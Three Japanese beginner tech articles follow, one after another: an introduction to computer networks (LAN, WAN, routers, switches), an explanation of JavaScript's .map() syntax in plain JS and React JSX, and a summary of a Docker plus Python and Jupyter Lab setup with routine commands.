2025年現在、スマートフォンやタブレットなどの情報端末を使わない日はほとんどないですよね。
皆さんも日常的にYouTubeで動画を見ているのではないでしょうか。

ここで
「この動画ってどこに保存されていて、どうやって私たちのスマホに届いているんだろう？」
と疑問に思ったことはないでしょうか？

YouTubeは巨大IT企業Googleが運営している巨大なデータセンター上で動いています。
私たちがスマホでYouTubeアプリを開くと、このデータセンターにアクセスし、そこに保存されている動画を視聴しています。

しかし、このアクセスはスマホ単体の力では実現できません。
実際には、通信の途中でさまざまなコンピューターや機器を経由しています。

たとえば：

- **インターネットプロバイダ（BIGLOBEなど）が運営するサーバー**

- **国や企業のデータセンター**

- **家庭用Wi-Fiルーター（BUFFALOなど）**

スマホがYouTubeにアクセスするためには、さまざまなコンピューターと接続する必要があります。
このようなコンピューターとの繋がりによって情報が届く仕組みがネットワークなのです。

## LANとWAN
ここまで読んで、「じゃあ、自宅のパソコン同士をLANケーブルでつなぐのもネットワークなの？」と思った方もいるかもしれません。

答えは「はい、その通り」です。

ネットワークというと、海を越えて世界中をつなぐ巨大なものをイメージしがちですが、実は自分の手で簡単に作ることもできます。
たとえば、家庭でWi-Fiルーターを設置し、スマホやパソコンをつなぐだけでも立派なネットワークです。

こういった小規模なネットワークのことを「**LAN（Local Area Network）**」と呼びます。
家庭やオフィスなど、限られた範囲内で構築されるネットワークです。

一方で、LAN同士をつないで世界中を結ぶような大規模なネットワークを「**WAN（Wide Area Network）**」と呼びます。
私たちが日常的に使っているインターネットは、このWANの仕組みを使って世界中のLANと接続されています。

## LANを作っている機器
このようにLAN自体は簡単に作ることができます。しかし、スマホやパソコンをつなぐだけではLANとしての機能に限界があり、実際には専用のネットワーク機器を使ってLANやWANが構築されています。
### ルーター（Router）
ルーターは、ネットワーク間のデータの流れを制御するための機器です。(例：自宅のLANから別のLANへデータを送る)
もっと簡単に言えば、「ネットワークの案内係」のような役割を果たしています。

ルーターは、IPアドレスと呼ばれる数字の住所情報をもとに、
送られてきたデータを正しい機器に振り分けます。

家庭では「Wi-Fiルーター」という形でよく目にします。
Wi-Fiルーターを使うと、スマホやパソコンがインターネットに接続できるようになります。
また、有線LANケーブルを使って直接つなぐこともできます。

### スイッチングハブ(Switching Hub)
スイッチングハブは、LAN内で複数のコンピューターを接続し、データのやり取りを制御するための機器です。
データの流れを制御するという意味ではルーターと似た立ち位置ですが、ルーターがIPアドレスを元に振り分けるのに対し、スイッチングハブはMACアドレス [^1] と呼ばれるものを元に振り分けます。
ネットワーク技術が進歩した現代社会においてはL3スイッチと呼ばれるルータの役割を持ったスイッチングハブがあり、ルーターとスイッチ両方の役割を果たすことができます。

ネットワークエンジニアはこのような機器を使ってネットワークを作り上げるのです。

# まとめ
- ネットワークとはコンピューターとの繋がりによって情報が届く仕組みのことである。
- ネットワークはLANとWANで構成されており、専用の機器を使って構築される。
- 多くのLANをWANでつないだものの一つがインターネットである。
- これらの機器を使ってネットワークを設計・構築するのが**ネットワークエンジニア**である。

本日はここまで。最後までお読みいただき、ありがとうございました。
次回はサーバを作るエンジニア「サーバエンジニア」をテーマに記事を書く予定です。

[^1]: 機器ごとに割り当てられたネットワーク上の「個体識別番号」のようなもの
`.map()`の使い方とReactでの記述の違いをわかりやすく解説！

# はじめに

JavaScriptでは配列を加工するために `.map()` を使うことがよくあります。しかし、**ReactでJSXを返すとき**や**オブジェクトを返すとき**には書き方が少し変わります。

JavaScriptやReactでよく使う `.map()`。でも、こんな疑問ありませんか？

* 普通に使うときとReactで使うときで何が違うの？
* `({ key: item })` のように括弧で囲む理由は？
* `return` を書くときと書かないときの違いって？

# 1. 基本：`.map()`の使い方

`.map()` は**配列の各要素に対して処理をして、新しい配列を作るメソッド**です。

```js
const numbers = [1, 2, 3];
const doubled = numbers.map((n) => n * 2); // [2, 4, 6]
```

これは `n => n * 2` の書き方ですが、**実は return を省略できる「省略記法」** です。

**🧠 `return` あり・なしの違い**

```js
arr.map(item => {
  const double = item * 2;
  return double;
});
```

このように `{}` を使ってブロックを書く場合は、**必ず `return` が必要**になります。省略すると `undefined` になります。

# 2. オブジェクトを返すとき`{}`と`({})`の違い

 `{ key: item }` と書くと **関数のブロックと認識されてしまう**ため、返り値ではなくなります。
```js
const arr = [1, 2, 3];

// NG: ブロックと解釈され return されない
arr.map(item => {
  key: item
}); // => [undefined, undefined, undefined]

// OK: オブジェクトを返す場合は () で囲む必要がある！
const result2 = arr.map((item) => ({
  key: item
}));

console.log(result2);
// 出力: [{ key: 1 }, { key: 2 }, { key: 3 }]
```

🔍 **ポイント**

* `{}` → ブロック（中に return が必要）
* `({})` → 即時にオブジェクトを返す

# 3. Reactでの`.map()`の使い方

Reactでは、`.map()` を使って **JSX要素の配列を返すこと**が多いです。たとえば以下のようなコード：

**✅ JSXをそのまま返すパターン（returnなし）**

```jsx
<ul>
  {items.map(item => (
    <li key={item.id}>{item.name}</li>
  ))}
</ul>
```

* **1行でJSXを返すとき**は `return` 不要
* `()` で囲うことで、JSX（オブジェクト）を即時返している

**✅ JSXを複数行にするとき（returnあり）**

```jsx
<ul>
  {items.map(item => {
    const label = item.name.toUpperCase();
    return (
      <li key={item.id}>{label}</li>
    );
  })}
</ul>
```

* `{}` を使うので、**明示的に `return` が必要**
* 中でロジックを書きたいときに便利

**✨ まとめ**
| ケース                  | 記述方法                                   | 補足                 |
| -------------------- | -------------------------------------- | ------------------ |
| 値を返す（普通の関数）          | `arr.map(item => item * 2)`            | シンプルな処理            |
| オブジェクトを返す            | `arr.map(item => ({ key: item }))`     | `()` で囲まないとエラーになる  |
| JSXを返す（React）        | `arr.map(item => (<div>{item}</div>))` | JSXはオブジェクトとして返される  |
| 複数行処理あり＋returnが必要なとき | `arr.map(item => { return ... })`      | 中で処理してから明示的に返したいとき |

# おわりに

`.map()` は便利な分、\*\*「return が必要か」「() で囲うか」\*\*で混乱しがちです。

覚えておくべきポイントはこの3つ：

1. `{}` を使うと return が必要
2. オブジェクトや JSX を返すなら `()` で囲む
3. JSX を返すときは `key` 属性を忘れずに！
Docker＋Python環境構築

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4046871/f4cba10b-41c1-4f2c-af9a-78f8c4bba774.png)

https://youtu.be/TJ2SOBjEopo?si=U2wjInXS3Gn0PqmF



## ✅ ハンズオンの全体構成（要点整理）

### 🧱 1. **環境構築の準備**

* **Docker Desktop** を各OS（Mac / Windows / Linux）にインストール
* 作業ディレクトリ `docker-python/` を作成し、以下の構成を整備：

```bash
docker-python/
├── Dockerfile
├── docker-compose.yml
└── opt/
    └── sample.py
```

---

### 📦 2. **ファイルの役割と記述**

#### Dockerfile

* ベースイメージとして `python:3`（Debianベース）を指定
* 必要なライブラリ（例：`pip install numpy`）をここで記述
* コンテナ起動時の環境構築処理を定義

#### docker-compose.yml

* イメージ名・コンテナ名・作業ディレクトリを指定
* `volumes:` によってローカル `opt/` とコンテナ内 `/opt/` を同期
* 再現可能な実行環境のテンプレートとして機能

#### sample.py

```python
import sys
import math

deg = float(sys.argv[1])
rad = math.radians(deg)
print(f"{deg} degrees = {rad:.4f} radians")
```

---

### 🐳 3. **コンテナ操作（コマンド）**

#### コンテナ作成・起動（バックグラウンド実行）

```bash
docker-compose up -d --build
```

#### コンテナ内に入る

```bash
docker-compose exec python3 bash
```

#### ファイル実行

```bash
python /opt/sample.py 180
```

---

### 🌐 4. **Jupyter Lab 実行とポートマッピング**

#### サーバー起動（例：ポート7777を使用）

```bash
docker run -v "$PWD/opt":/opt -p 7777:8888 python3 \
    jupyter lab --ip=0.0.0.0 --allow-root --no-browser
```

#### アクセス

* `http://127.0.0.1:7777` にブラウザでアクセス
* `token=XXXX` をURL末尾に付加してログイン

---

### 🧹 5. **クリーンアップ**

#### コンテナ停止・削除

```bash
docker-compose down
```

#### イメージ削除

```bash
docker image ls      # IMAGE ID を確認
docker image rm <IMAGE_ID>
```

#### ゴーストコンテナ削除

```bash
docker container ls -a    # 停止中のコンテナ確認
docker container rm <CONTAINER_ID>
```

---

## 📘 まとめ：学びのポイント

| 項目        | 内容                                    |
| --------- | ------------------------------------- |
| 環境の分離     | ホストを汚さずPython環境を構築                    |
| モジュール管理   | イメージに組み込むことで再現性担保                     |
| Jupyter連携 | ポートマッピング＋ボリューム同期でGUI利用も可能に            |
| 学習のステップ性  | Dockerの概念からファイル構成・コマンド操作・クリーンアップまで網羅的 |

---